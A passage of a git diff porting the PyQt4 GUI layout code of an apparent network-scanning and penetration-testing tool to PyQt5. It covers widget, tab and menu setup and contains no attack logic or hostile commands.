QtWidgets.QLabel() + self.OSNameLayout = QtWidgets.QHBoxLayout() self.OSNameLayout.addSpacing(20) self.OSNameLayout.addWidget(self.OSNameLabel) self.OSNameLayout.addWidget(self.OSNameText) self.OSNameLayout.addStretch() - self.OSAccuracyLabel = QtGui.QLabel() - self.OSAccuracyText = QtGui.QLabel() - self.OSAccuracyLayout = QtGui.QHBoxLayout() + self.OSAccuracyLabel = QtWidgets.QLabel() + self.OSAccuracyText = QtWidgets.QLabel() + self.OSAccuracyLayout = QtWidgets.QHBoxLayout() self.OSAccuracyLayout.addSpacing(20) self.OSAccuracyLayout.addWidget(self.OSAccuracyLabel) self.OSAccuracyLayout.addWidget(self.OSAccuracyText) @@ -788,10 +790,10 @@ def setupLayout(self): self.OSNameLabel.setText('Name:') self.OSAccuracyLabel.setText('Accuracy:') ######### - self.vlayout_1 = QtGui.QVBoxLayout() - self.vlayout_2 = QtGui.QVBoxLayout() - self.vlayout_3 = QtGui.QVBoxLayout() - self.hlayout_1 = QtGui.QHBoxLayout() + self.vlayout_1 = QtWidgets.QVBoxLayout() + self.vlayout_2 = QtWidgets.QVBoxLayout() + self.vlayout_3 = QtWidgets.QVBoxLayout() + self.hlayout_1 = QtWidgets.QHBoxLayout() self.vlayout_1.addWidget(self.HostStatusLabel) self.vlayout_1.addLayout(self.HostStateLayout) @@ -814,12 +816,12 @@ def setupLayout(self): self.vlayout_3.addLayout(self.OSAccuracyLayout) self.vlayout_3.addStretch() - self.vlayout_4 = QtGui.QVBoxLayout() + self.vlayout_4 = QtWidgets.QVBoxLayout() self.vlayout_4.addLayout(self.hlayout_1) self.vlayout_4.addSpacing(10) self.vlayout_4.addLayout(self.vlayout_3) - self.hlayout_4 = QtGui.QHBoxLayout(self.informationTab) + self.hlayout_4 = QtWidgets.QHBoxLayout(self.informationTab) self.hlayout_4.addLayout(self.vlayout_4) self.hlayout_4.insertStretch(-1,1) self.hlayout_4.addStretch() diff --git a/ui/gui.py b/ui/gui.py index 51f73cdf..dabc2dae 100644 --- a/ui/gui.py +++ b/ui/gui.py @@ -11,8 +11,9 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . ''' -#from PyQt4 import QtCore, QtGui -from ui.dialogs import * # for the screenshots (image viewer) +from PyQt5 import QtWidgets, QtGui, QtCore +from PyQt5.QtGui import QColor +from ui.dialogs import * # for the screenshots (image viewer) try: _fromUtf8 = QtCore.QString.fromUtf8 @@ -20,343 +21,347 @@ _fromUtf8 = lambda s: s class Ui_MainWindow(object): - def setupUi(self, MainWindow): - MainWindow.setObjectName(_fromUtf8("MainWindow")) - MainWindow.resize(1010, 754) - - self.centralwidget = QtGui.QWidget(MainWindow) - self.centralwidget.setObjectName(_fromUtf8("centralwidget")) # do not change this name - self.gridLayout = QtGui.QGridLayout(self.centralwidget) - self.gridLayout.setObjectName(_fromUtf8("gridLayout")) - self.splitter_2 = QtGui.QSplitter(self.centralwidget) - self.splitter_2.setOrientation(QtCore.Qt.Vertical) - self.splitter_2.setObjectName(_fromUtf8("splitter_2")) - - self.MainTabWidget = QtGui.QTabWidget(self.splitter_2) - self.MainTabWidget.setObjectName(_fromUtf8("MainTabWidget")) - self.ScanTab = QtGui.QWidget() - self.ScanTab.setObjectName(_fromUtf8("ScanTab")) - self.gridLayout_2 = QtGui.QGridLayout(self.ScanTab) - self.gridLayout_2.setObjectName(_fromUtf8("gridLayout_2")) - self.splitter = QtGui.QSplitter(self.ScanTab) - self.splitter.setOrientation(QtCore.Qt.Horizontal) - self.splitter.setObjectName(_fromUtf8("splitter")) - - # size policies - self.sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Expanding) - self.sizePolicy.setHorizontalStretch(0) # this specifies that the widget will keep its width when the window is resized - self.sizePolicy.setVerticalStretch(0) - - self.sizePolicy2 = QtGui.QSizePolicy(QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Expanding) - self.sizePolicy2.setHorizontalStretch(1) # this specifies that the widget will expand its width when the window is resized - self.sizePolicy2.setVerticalStretch(0) - - self.setupLeftPanel() - self.setupRightPanel() - self.setupMainTabs() - self.setupBottomPanel() - - self.gridLayout.addWidget(self.splitter_2, 0, 0, 1, 1) - MainWindow.setCentralWidget(self.centralwidget) + def setupUi(self, MainWindow): + MainWindow.setObjectName(_fromUtf8("MainWindow")) + MainWindow.resize(1010, 754) + + self.centralwidget = QtWidgets.QWidget(MainWindow) + self.centralwidget.setObjectName(_fromUtf8("centralwidget")) # do not change this name + self.gridLayout = QtWidgets.QGridLayout(self.centralwidget) + self.gridLayout.setObjectName(_fromUtf8("gridLayout")) + self.splitter_2 = QtWidgets.QSplitter(self.centralwidget) + self.splitter_2.setOrientation(QtCore.Qt.Vertical) + self.splitter_2.setObjectName(_fromUtf8("splitter_2")) - self.setupMenuBar(MainWindow) - self.retranslateUi(MainWindow) - self.setDefaultIndexes() - QtCore.QMetaObject.connectSlotsByName(MainWindow) + p = self.centralwidget.palette() + p.setColor(self.centralwidget.backgroundRole(), QColor(253,53,53)) + self.centralwidget.setPalette(p) + + self.MainTabWidget = QtWidgets.QTabWidget(self.splitter_2) + self.MainTabWidget.setObjectName(_fromUtf8("MainTabWidget")) + self.ScanTab = QtWidgets.QWidget() + self.ScanTab.setObjectName(_fromUtf8("ScanTab")) + self.gridLayout_2 = QtWidgets.QGridLayout(self.ScanTab) + self.gridLayout_2.setObjectName(_fromUtf8("gridLayout_2")) + self.splitter = QtWidgets.QSplitter(self.ScanTab) + self.splitter.setOrientation(QtCore.Qt.Horizontal) + self.splitter.setObjectName(_fromUtf8("splitter")) + + # size policies + self.sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding) + self.sizePolicy.setHorizontalStretch(0) # this specifies that the widget will keep its width when the window is resized + self.sizePolicy.setVerticalStretch(0) + + self.sizePolicy2 = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding) + self.sizePolicy2.setHorizontalStretch(1) # this specifies that the widget will expand its width when the window is resized + self.sizePolicy2.setVerticalStretch(0) + + self.setupLeftPanel() + self.setupRightPanel() + self.setupMainTabs() + self.setupBottomPanel() + + self.gridLayout.addWidget(self.splitter_2, 0, 0, 1, 1) + MainWindow.setCentralWidget(self.centralwidget) - def setupLeftPanel(self): - self.HostsTabWidget = QtGui.QTabWidget(self.splitter) - self.sizePolicy.setHeightForWidth(self.HostsTabWidget.sizePolicy().hasHeightForWidth()) - self.HostsTabWidget.setSizePolicy(self.sizePolicy) - self.HostsTabWidget.setObjectName(_fromUtf8("HostsTabWidget")) + self.setupMenuBar(MainWindow) + self.retranslateUi(MainWindow) + self.setDefaultIndexes() + QtCore.QMetaObject.connectSlotsByName(MainWindow) - self.HostsTab = QtGui.QWidget() - self.HostsTab.setObjectName(_fromUtf8("HostsTab")) - self.keywordTextInput = QtGui.QLineEdit() - self.FilterApplyButton = QtGui.QToolButton() - self.searchIcon = QtGui.QIcon() - self.searchIcon.addPixmap(QtGui.QPixmap(_fromUtf8("./images/search.png")), QtGui.QIcon.Normal, QtGui.QIcon.Off) - self.FilterApplyButton.setIconSize(QtCore.QSize(29,21)) - self.FilterApplyButton.setIcon(self.searchIcon) - self.FilterAdvancedButton = QtGui.QToolButton() - self.advancedIcon = QtGui.QIcon() - self.advancedIcon.addPixmap(QtGui.QPixmap(_fromUtf8("./images/advanced.png")), QtGui.QIcon.Normal, QtGui.QIcon.Off) - self.FilterAdvancedButton.setIconSize(QtCore.QSize(19,19)) - self.FilterAdvancedButton.setIcon(self.advancedIcon) - self.vlayout = QtGui.QVBoxLayout(self.HostsTab) - self.vlayout.setObjectName(_fromUtf8("vlayout")) - self.HostsTableView = QtGui.QTableView(self.HostsTab) - self.HostsTableView.setObjectName(_fromUtf8("HostsTableView")) - self.vlayout.addWidget(self.HostsTableView) - - self.addHostsOverlay = QtGui.QTextEdit(self.HostsTab) # the overlay widget that appears over the hosttableview - self.addHostsOverlay.setObjectName(_fromUtf8("addHostsOverlay")) - self.addHostsOverlay.setText('Click here to add host(s) to scope') - self.addHostsOverlay.setReadOnly(True) - self.addHostsOverlay.setContextMenuPolicy(QtCore.Qt.NoContextMenu) + def setupLeftPanel(self): + self.HostsTabWidget = QtWidgets.QTabWidget(self.splitter) + self.sizePolicy.setHeightForWidth(self.HostsTabWidget.sizePolicy().hasHeightForWidth()) + self.HostsTabWidget.setSizePolicy(self.sizePolicy) + self.HostsTabWidget.setObjectName(_fromUtf8("HostsTabWidget")) - ### - self.addHostsOverlay.setFont(QtGui.QFont('', 12)) - self.addHostsOverlay.setAlignment(Qt.AlignHCenter|Qt.AlignVCenter) - ### - - self.vlayout.addWidget(self.addHostsOverlay) - self.hlayout = QtGui.QHBoxLayout() - self.hlayout.addWidget(self.keywordTextInput) - self.hlayout.addWidget(self.FilterApplyButton) - self.hlayout.addWidget(self.FilterAdvancedButton) - self.vlayout.addLayout(self.hlayout) - self.HostsTabWidget.addTab(self.HostsTab, _fromUtf8("")) + self.HostsTab = QtWidgets.QWidget() + self.HostsTab.setObjectName(_fromUtf8("HostsTab")) + self.keywordTextInput = QtWidgets.QLineEdit() + self.FilterApplyButton = QtWidgets.QToolButton() + self.searchIcon = QtGui.QIcon() + self.searchIcon.addPixmap(QtGui.QPixmap(_fromUtf8("./images/search.png")), QtGui.QIcon.Normal, QtGui.QIcon.Off) + self.FilterApplyButton.setIconSize(QtCore.QSize(29,21)) + self.FilterApplyButton.setIcon(self.searchIcon) + self.FilterAdvancedButton = QtWidgets.QToolButton() + self.advancedIcon = QtGui.QIcon() + self.advancedIcon.addPixmap(QtGui.QPixmap(_fromUtf8("./images/advanced.png")), QtGui.QIcon.Normal, QtGui.QIcon.Off) + self.FilterAdvancedButton.setIconSize(QtCore.QSize(19,19)) + self.FilterAdvancedButton.setIcon(self.advancedIcon) + self.vlayout = QtWidgets.QVBoxLayout(self.HostsTab) + self.vlayout.setObjectName(_fromUtf8("vlayout")) + self.HostsTableView = QtWidgets.QTableView(self.HostsTab) + self.HostsTableView.setObjectName(_fromUtf8("HostsTableView")) + self.vlayout.addWidget(self.HostsTableView) + + self.addHostsOverlay = QtWidgets.QTextEdit(self.HostsTab) # the overlay widget that appears over the hosttableview + self.addHostsOverlay.setObjectName(_fromUtf8("addHostsOverlay")) + self.addHostsOverlay.setText('Click here to add host(s) to scope') + self.addHostsOverlay.setReadOnly(True) + self.addHostsOverlay.setContextMenuPolicy(QtCore.Qt.NoContextMenu) - self.ServicesLeftTab = QtGui.QWidget() - self.ServicesLeftTab.setObjectName(_fromUtf8("ServicesLeftTab")) - self.horizontalLayout_2 = QtGui.QHBoxLayout(self.ServicesLeftTab) - self.horizontalLayout_2.setObjectName(_fromUtf8("horizontalLayout_2")) - self.ServiceNamesTableView = QtGui.QTableView(self.ServicesLeftTab) - self.ServiceNamesTableView.setObjectName(_fromUtf8("ServiceNamesTableView")) - self.horizontalLayout_2.addWidget(self.ServiceNamesTableView) - self.HostsTabWidget.addTab(self.ServicesLeftTab, _fromUtf8("")) + ### + self.addHostsOverlay.setFont(QtGui.QFont('', 12)) + self.addHostsOverlay.setAlignment(Qt.AlignHCenter|Qt.AlignVCenter) + ### + + self.vlayout.addWidget(self.addHostsOverlay) + self.hlayout = QtWidgets.QHBoxLayout() + self.hlayout.addWidget(self.keywordTextInput) + self.hlayout.addWidget(self.FilterApplyButton) + self.hlayout.addWidget(self.FilterAdvancedButton) + self.vlayout.addLayout(self.hlayout) + self.HostsTabWidget.addTab(self.HostsTab, _fromUtf8("")) - self.ToolsTab = QtGui.QWidget() - self.ToolsTab.setObjectName(_fromUtf8("ToolsTab")) - self.horizontalLayout_3 = QtGui.QHBoxLayout(self.ToolsTab) - self.horizontalLayout_3.setObjectName(_fromUtf8("horizontalLayout_3")) - self.ToolsTableView = QtGui.QTableView(self.ToolsTab) - self.ToolsTableView.setObjectName(_fromUtf8("ToolsTableView")) - self.horizontalLayout_3.addWidget(self.ToolsTableView) - self.HostsTabWidget.addTab(self.ToolsTab, _fromUtf8("")) + self.ServicesLeftTab = QtWidgets.QWidget() + self.ServicesLeftTab.setObjectName(_fromUtf8("ServicesLeftTab")) + self.horizontalLayout_2 = QtWidgets.QHBoxLayout(self.ServicesLeftTab) + self.horizontalLayout_2.setObjectName(_fromUtf8("horizontalLayout_2")) + self.ServiceNamesTableView = QtWidgets.QTableView(self.ServicesLeftTab) + self.ServiceNamesTableView.setObjectName(_fromUtf8("ServiceNamesTableView")) + self.horizontalLayout_2.addWidget(self.ServiceNamesTableView) + self.HostsTabWidget.addTab(self.ServicesLeftTab, _fromUtf8("")) - def setupRightPanel(self): - self.ServicesTabWidget = QtGui.QTabWidget() - self.ServicesTabWidget.setEnabled(True) - self.sizePolicy2.setHeightForWidth(self.ServicesTabWidget.sizePolicy().hasHeightForWidth()) - self.ServicesTabWidget.setSizePolicy(self.sizePolicy2) - self.ServicesTabWidget.setObjectName(_fromUtf8("ServicesTabWidget")) - self.splitter.addWidget(self.ServicesTabWidget) + self.ToolsTab = QtWidgets.QWidget() + self.ToolsTab.setObjectName(_fromUtf8("ToolsTab")) + self.horizontalLayout_3 = QtWidgets.QHBoxLayout(self.ToolsTab) + self.horizontalLayout_3.setObjectName(_fromUtf8("horizontalLayout_3")) + self.ToolsTableView = QtWidgets.QTableView(self.ToolsTab) + self.ToolsTableView.setObjectName(_fromUtf8("ToolsTableView")) + self.horizontalLayout_3.addWidget(self.ToolsTableView) + self.HostsTabWidget.addTab(self.ToolsTab, _fromUtf8("")) - ### + def setupRightPanel(self): + self.ServicesTabWidget = QtWidgets.QTabWidget() + self.ServicesTabWidget.setEnabled(True) + self.sizePolicy2.setHeightForWidth(self.ServicesTabWidget.sizePolicy().hasHeightForWidth()) + self.ServicesTabWidget.setSizePolicy(self.sizePolicy2) + self.ServicesTabWidget.setObjectName(_fromUtf8("ServicesTabWidget")) + self.splitter.addWidget(self.ServicesTabWidget) - self.splitter_3 = QtGui.QSplitter() - self.splitter_3.setOrientation(QtCore.Qt.Horizontal) - self.splitter_3.setObjectName(_fromUtf8("splitter_3")) - self.splitter_3.setSizePolicy(self.sizePolicy2) # this makes the tools tab stay the same width when resizing the window - - ### - - self.ToolHostsWidget = QtGui.QWidget() - self.ToolHostsWidget.setObjectName(_fromUtf8("ToolHostsTab")) - self.ToolHostsLayout = QtGui.QVBoxLayout(self.ToolHostsWidget) - self.ToolHostsLayout.setObjectName(_fromUtf8("verticalLayout")) - self.ToolHostsTableView = QtGui.QTableView(self.ToolHostsWidget) - self.ToolHostsTableView.setObjectName(_fromUtf8("ServicesTableView")) - self.ToolHostsLayout.addWidget(self.ToolHostsTableView) - self.splitter_3.addWidget(self.ToolHostsWidget) - - self.DisplayWidget = QtGui.QWidget() - self.DisplayWidget.setObjectName('ToolOutput') - self.DisplayWidget.setSizePolicy(self.sizePolicy2) - #self.toolOutputTextView = QtGui.QTextEdit(self.DisplayWidget) - self.toolOutputTextView = QtGui.QPlainTextEdit(self.DisplayWidget) - self.toolOutputTextView.setReadOnly(True) - self.DisplayWidgetLayout = QtGui.QHBoxLayout(self.DisplayWidget) - self.DisplayWidgetLayout.addWidget(self.toolOutputTextView) - self.splitter_3.addWidget(self.DisplayWidget) + ### - self.ScreenshotWidget = ImageViewer() - self.ScreenshotWidget.setObjectName('Screenshot') - self.ScreenshotWidget.scrollArea.setSizePolicy(self.sizePolicy2) - self.ScreenshotWidget.scrollArea.setContextMenuPolicy(QtCore.Qt.CustomContextMenu) - self.splitter_3.addWidget(self.ScreenshotWidget.scrollArea) + self.splitter_3 = QtWidgets.QSplitter() + self.splitter_3.setOrientation(QtCore.Qt.Horizontal) + self.splitter_3.setObjectName(_fromUtf8("splitter_3")) + self.splitter_3.setSizePolicy(self.sizePolicy2) # this makes the tools tab stay the same width when resizing the window + + ### + + self.ToolHostsWidget = QtWidgets.QWidget() + self.ToolHostsWidget.setObjectName(_fromUtf8("ToolHostsTab")) + self.ToolHostsLayout = QtWidgets.QVBoxLayout(self.ToolHostsWidget) + self.ToolHostsLayout.setObjectName(_fromUtf8("verticalLayout")) + self.ToolHostsTableView = QtWidgets.QTableView(self.ToolHostsWidget) + self.ToolHostsTableView.setObjectName(_fromUtf8("ServicesTableView")) + self.ToolHostsLayout.addWidget(self.ToolHostsTableView) + self.splitter_3.addWidget(self.ToolHostsWidget) + + self.DisplayWidget = QtWidgets.QWidget() + self.DisplayWidget.setObjectName('ToolOutput') + self.DisplayWidget.setSizePolicy(self.sizePolicy2) + #self.toolOutputTextView = QtWidgets.QTextEdit(self.DisplayWidget) + self.toolOutputTextView = QtWidgets.QPlainTextEdit(self.DisplayWidget) + self.toolOutputTextView.setReadOnly(True) + self.DisplayWidgetLayout = QtWidgets.QHBoxLayout(self.DisplayWidget) + self.DisplayWidgetLayout.addWidget(self.toolOutputTextView) + self.splitter_3.addWidget(self.DisplayWidget) - self.splitter.addWidget(self.splitter_3) + self.ScreenshotWidget = ImageViewer() + self.ScreenshotWidget.setObjectName('Screenshot') + self.ScreenshotWidget.scrollArea.setSizePolicy(self.sizePolicy2) + self.ScreenshotWidget.scrollArea.setContextMenuPolicy(QtCore.Qt.CustomContextMenu) + self.splitter_3.addWidget(self.ScreenshotWidget.scrollArea) - ### - - self.ServicesRightTab = QtGui.QWidget() - self.ServicesRightTab.setObjectName(_fromUtf8("ServicesRightTab")) - self.verticalLayout = QtGui.QVBoxLayout(self.ServicesRightTab) - self.verticalLayout.setObjectName(_fromUtf8("verticalLayout")) - self.ServicesTableView = QtGui.QTableView(self.ServicesRightTab) - self.ServicesTableView.setObjectName(_fromUtf8("ServicesTableView")) - self.verticalLayout.addWidget(self.ServicesTableView) - self.ServicesTabWidget.addTab(self.ServicesRightTab, _fromUtf8("")) - - self.ScriptsTab = QtGui.QWidget() - self.ScriptsTab.setObjectName(_fromUtf8("ScriptsTab")) - self.horizontalLayout_6 = QtGui.QHBoxLayout(self.ScriptsTab) - self.horizontalLayout_6.setObjectName(_fromUtf8("horizontalLayout_6")) - - self.splitter_4 = QtGui.QSplitter(self.ScriptsTab) - self.splitter_4.setOrientation(QtCore.Qt.Horizontal) - self.splitter_4.setObjectName(_fromUtf8("splitter_4")) - - self.ScriptsTableView = QtGui.QTableView() - self.ScriptsTableView.setObjectName(_fromUtf8("ScriptsTableView")) - self.splitter_4.addWidget(self.ScriptsTableView) - - self.ScriptsOutputTextEdit = QtGui.QPlainTextEdit() - self.ScriptsOutputTextEdit.setObjectName(_fromUtf8("ScriptsOutputTextEdit")) - self.ScriptsOutputTextEdit.setReadOnly(True) - self.splitter_4.addWidget(self.ScriptsOutputTextEdit) - self.horizontalLayout_6.addWidget(self.splitter_4) - self.ServicesTabWidget.addTab(self.ScriptsTab, _fromUtf8("")) - - self.InformationTab = QtGui.QWidget() - self.InformationTab.setObjectName(_fromUtf8("InformationTab")) - self.ServicesTabWidget.addTab(self.InformationTab, _fromUtf8("")) - - self.NotesTab = QtGui.QWidget() - self.NotesTab.setObjectName(_fromUtf8("NotesTab")) - self.horizontalLayout_4 = QtGui.QHBoxLayout(self.NotesTab) - self.horizontalLayout_4.setObjectName(_fromUtf8("horizontalLayout_4")) - #self.NotesTextEdit = QtGui.QTextEdit(self.NotesTab) - self.NotesTextEdit = QtGui.QPlainTextEdit(self.NotesTab) - self.NotesTextEdit.setObjectName(_fromUtf8("NotesTextEdit")) - self.horizontalLayout_4.addWidget(self.NotesTextEdit) - self.ServicesTabWidget.addTab(self.NotesTab, _fromUtf8("")) + self.splitter.addWidget(self.splitter_3) - def setupMainTabs(self): - self.gridLayout_2.addWidget(self.splitter, 0, 0, 1, 1) - self.gridLayout_3 = QtGui.QGridLayout() - self.gridLayout_3.setObjectName(_fromUtf8("gridLayout_3")) - self.gridLayout_2.addLayout(self.gridLayout_3, 0, 0, 1, 1) - self.MainTabWidget.addTab(self.ScanTab, _fromUtf8("")) - - self.BruteTab = QtGui.QWidget() - self.BruteTab.setObjectName(_fromUtf8("BruteTab")) - self.horizontalLayout_7 = QtGui.QHBoxLayout(self.BruteTab) - self.horizontalLayout_7.setObjectName(_fromUtf8("horizontalLayout_7")) - self.BruteTabWidget = QtGui.QTabWidget(self.BruteTab) - self.BruteTabWidget.setObjectName(_fromUtf8("BruteTabWidget")) - self.horizontalLayout_7.addWidget(self.BruteTabWidget) - self.MainTabWidget.addTab(self.BruteTab, _fromUtf8("")) + ### + + self.ServicesRightTab = QtWidgets.QWidget() + self.ServicesRightTab.setObjectName(_fromUtf8("ServicesRightTab")) + self.verticalLayout = QtWidgets.QVBoxLayout(self.ServicesRightTab) + self.verticalLayout.setObjectName(_fromUtf8("verticalLayout")) + self.ServicesTableView = QtWidgets.QTableView(self.ServicesRightTab) + self.ServicesTableView.setObjectName(_fromUtf8("ServicesTableView")) + self.verticalLayout.addWidget(self.ServicesTableView) + self.ServicesTabWidget.addTab(self.ServicesRightTab, _fromUtf8("")) + + self.ScriptsTab = QtWidgets.QWidget() + self.ScriptsTab.setObjectName(_fromUtf8("ScriptsTab")) + self.horizontalLayout_6 = QtWidgets.QHBoxLayout(self.ScriptsTab) + self.horizontalLayout_6.setObjectName(_fromUtf8("horizontalLayout_6")) + + self.splitter_4 = QtWidgets.QSplitter(self.ScriptsTab) + self.splitter_4.setOrientation(QtCore.Qt.Horizontal) + self.splitter_4.setObjectName(_fromUtf8("splitter_4")) + + self.ScriptsTableView = QtWidgets.QTableView() + self.ScriptsTableView.setObjectName(_fromUtf8("ScriptsTableView")) + self.splitter_4.addWidget(self.ScriptsTableView) + + self.ScriptsOutputTextEdit = QtWidgets.QPlainTextEdit() + self.ScriptsOutputTextEdit.setObjectName(_fromUtf8("ScriptsOutputTextEdit")) + self.ScriptsOutputTextEdit.setReadOnly(True) + self.splitter_4.addWidget(self.ScriptsOutputTextEdit) + self.horizontalLayout_6.addWidget(self.splitter_4) + self.ServicesTabWidget.addTab(self.ScriptsTab, _fromUtf8("")) + + self.InformationTab = QtWidgets.QWidget() + self.InformationTab.setObjectName(_fromUtf8("InformationTab")) + self.ServicesTabWidget.addTab(self.InformationTab, _fromUtf8("")) + + self.NotesTab = QtWidgets.QWidget() + self.NotesTab.setObjectName(_fromUtf8("NotesTab")) + self.horizontalLayout_4 = QtWidgets.QHBoxLayout(self.NotesTab) + self.horizontalLayout_4.setObjectName(_fromUtf8("horizontalLayout_4")) + #self.NotesTextEdit = QtWidgets.QTextEdit(self.NotesTab) + self.NotesTextEdit = QtWidgets.QPlainTextEdit(self.NotesTab) + self.NotesTextEdit.setObjectName(_fromUtf8("NotesTextEdit")) + self.horizontalLayout_4.addWidget(self.NotesTextEdit) + self.ServicesTabWidget.addTab(self.NotesTab, _fromUtf8("")) - def setupBottomPanel(self): - self.BottomTabWidget = QtGui.QTabWidget(self.splitter_2) - self.BottomTabWidget.setSizeIncrement(QtCore.QSize(0, 0)) - self.BottomTabWidget.setBaseSize(QtCore.QSize(0, 0)) - self.BottomTabWidget.setObjectName(_fromUtf8("BottomTabWidget")) - - self.LogTab = QtGui.QWidget() - self.LogTab.setObjectName(_fromUtf8("LogTab")) - self.horizontalLayout_5 = QtGui.QHBoxLayout(self.LogTab) - self.horizontalLayout_5.setObjectName(_fromUtf8("horizontalLayout_5")) - self.ProcessesTableView = QtGui.QTableView(self.LogTab) - self.ProcessesTableView.setObjectName(_fromUtf8("ProcessesTableView")) - self.horizontalLayout_5.addWidget(self.ProcessesTableView) - self.BottomTabWidget.addTab(self.LogTab, _fromUtf8("")) -# self.TerminalTab = QtGui.QWidget() -# self.TerminalTab.setObjectName(_fromUtf8("TerminalTab")) -# self.BottomTabWidget.addTab(self.TerminalTab, _fromUtf8("")) -# self.PythonTab = QtGui.QWidget() -# self.PythonTab.setObjectName(_fromUtf8("PythonTab")) -# self.BottomTabWidget.addTab(self.PythonTab, _fromUtf8("")) + def setupMainTabs(self): + self.gridLayout_2.addWidget(self.splitter, 0, 0, 1, 1) + self.gridLayout_3 = QtWidgets.QGridLayout() + self.gridLayout_3.setObjectName(_fromUtf8("gridLayout_3")) + self.gridLayout_2.addLayout(self.gridLayout_3, 0, 0, 1, 1) + self.MainTabWidget.addTab(self.ScanTab, _fromUtf8("")) + + self.BruteTab = QtWidgets.QWidget() + self.BruteTab.setObjectName(_fromUtf8("BruteTab")) + self.horizontalLayout_7 = QtWidgets.QHBoxLayout(self.BruteTab) + self.horizontalLayout_7.setObjectName(_fromUtf8("horizontalLayout_7")) + self.BruteTabWidget = QtWidgets.QTabWidget(self.BruteTab) + self.BruteTabWidget.setObjectName(_fromUtf8("BruteTabWidget")) + self.horizontalLayout_7.addWidget(self.BruteTabWidget) + self.MainTabWidget.addTab(self.BruteTab, _fromUtf8("")) - def setupMenuBar(self, MainWindow): - self.menubar = QtGui.QMenuBar(MainWindow) - self.menubar.setGeometry(QtCore.QRect(0, 0, 1010, 25)) - self.menubar.setObjectName(_fromUtf8("menubar")) - self.menuFile = QtGui.QMenu(self.menubar) - self.menuFile.setObjectName(_fromUtf8("menuFile")) -# self.menuEdit = QtGui.QMenu(self.menubar) -# self.menuEdit.setObjectName(_fromUtf8("menuEdit")) - self.menuSettings = QtGui.QMenu(self.menubar) - self.menuSettings.setObjectName(_fromUtf8("menuSettings")) - self.menuHelp = QtGui.QMenu(self.menubar) - self.menuHelp.setObjectName(_fromUtf8("menuHelp")) - MainWindow.setMenuBar(self.menubar) - self.statusbar = QtGui.QStatusBar(MainWindow) - self.statusbar.setObjectName(_fromUtf8("statusbar")) - MainWindow.setStatusBar(self.statusbar) - self.actionExit = QtGui.QAction(MainWindow) - self.actionExit.setObjectName(_fromUtf8("actionExit")) - self.actionOpen = QtGui.QAction(MainWindow) - self.actionOpen.setObjectName(_fromUtf8("actionOpen")) - self.actionSave = QtGui.QAction(MainWindow) - self.actionSave.setObjectName(_fromUtf8("actionSave")) - self.actionImportNmap = QtGui.QAction(MainWindow) - self.actionImportNmap.setObjectName(_fromUtf8("actionImportNmap")) - self.actionSaveAs = QtGui.QAction(MainWindow) - self.actionSaveAs.setObjectName(_fromUtf8("actionSaveAs")) - self.actionNew = QtGui.QAction(MainWindow) - self.actionNew.setObjectName(_fromUtf8("actionNew")) - self.actionAddHosts = QtGui.QAction(MainWindow) - self.actionAddHosts.setObjectName(_fromUtf8("actionAddHosts")) - self.menuFile.addAction(self.actionNew) - self.menuFile.addAction(self.actionOpen) - self.menuFile.addAction(self.actionSave) - self.menuFile.addAction(self.actionSaveAs) - self.menuFile.addSeparator() - self.menuFile.addAction(self.actionAddHosts) - self.menuFile.addAction(self.actionImportNmap) - self.menuFile.addSeparator() - self.menuFile.addAction(self.actionExit) - self.menubar.addAction(self.menuFile.menuAction()) -# self.menubar.addAction(self.menuEdit.menuAction()) -# self.menubar.addAction(self.menuSettings.menuAction()) - self.menubar.addAction(self.menuSettings.menuAction()) - self.actionSettings = QtGui.QAction(MainWindow) - self.actionSettings.setObjectName(_fromUtf8("getSettingsMenu")) - self.menuSettings.addAction(self.actionSettings) + def setupBottomPanel(self): + self.BottomTabWidget = QtWidgets.QTabWidget(self.splitter_2) + self.BottomTabWidget.setSizeIncrement(QtCore.QSize(0, 0)) + self.BottomTabWidget.setBaseSize(QtCore.QSize(0, 0)) + self.BottomTabWidget.setObjectName(_fromUtf8("BottomTabWidget")) + + self.LogTab = QtWidgets.QWidget() + self.LogTab.setObjectName(_fromUtf8("LogTab")) + self.horizontalLayout_5 = QtWidgets.QHBoxLayout(self.LogTab) + self.horizontalLayout_5.setObjectName(_fromUtf8("horizontalLayout_5")) + self.ProcessesTableView = QtWidgets.QTableView(self.LogTab) + self.ProcessesTableView.setObjectName(_fromUtf8("ProcessesTableView")) + self.horizontalLayout_5.addWidget(self.ProcessesTableView) + self.BottomTabWidget.addTab(self.LogTab, _fromUtf8("")) +# self.TerminalTab = QtWidgets.QWidget() +# self.TerminalTab.setObjectName(_fromUtf8("TerminalTab")) +# self.BottomTabWidget.addTab(self.TerminalTab, _fromUtf8("")) +# self.PythonTab = QtWidgets.QWidget() +# self.PythonTab.setObjectName(_fromUtf8("PythonTab")) +# self.BottomTabWidget.addTab(self.PythonTab, _fromUtf8("")) - self.actionHelp = QtGui.QAction(MainWindow) - self.actionHelp.setObjectName(_fromUtf8("getHelp")) - self.menuHelp.addAction(self.actionHelp) - self.menubar.addAction(self.menuHelp.menuAction()) + def setupMenuBar(self, MainWindow): + self.menubar = QtWidgets.QMenuBar(MainWindow) + self.menubar.setGeometry(QtCore.QRect(0, 0, 1010, 25)) + self.menubar.setObjectName(_fromUtf8("menubar")) + self.menuFile = QtWidgets.QMenu(self.menubar) + self.menuFile.setObjectName(_fromUtf8("menuFile")) +# self.menuEdit = QtWidgets.QMenu(self.menubar) +# self.menuEdit.setObjectName(_fromUtf8("menuEdit")) + self.menuSettings = QtWidgets.QMenu(self.menubar) + self.menuSettings.setObjectName(_fromUtf8("menuSettings")) + self.menuHelp = QtWidgets.QMenu(self.menubar) + self.menuHelp.setObjectName(_fromUtf8("menuHelp")) + MainWindow.setMenuBar(self.menubar) + self.statusbar = QtWidgets.QStatusBar(MainWindow) + self.statusbar.setObjectName(_fromUtf8("statusbar")) + MainWindow.setStatusBar(self.statusbar) + self.actionExit = QtWidgets.QAction(MainWindow) + self.actionExit.setObjectName(_fromUtf8("actionExit")) + self.actionOpen = QtWidgets.QAction(MainWindow) + self.actionOpen.setObjectName(_fromUtf8("actionOpen")) + self.actionSave = QtWidgets.QAction(MainWindow) + self.actionSave.setObjectName(_fromUtf8("actionSave")) + self.actionImportNmap = QtWidgets.QAction(MainWindow) + 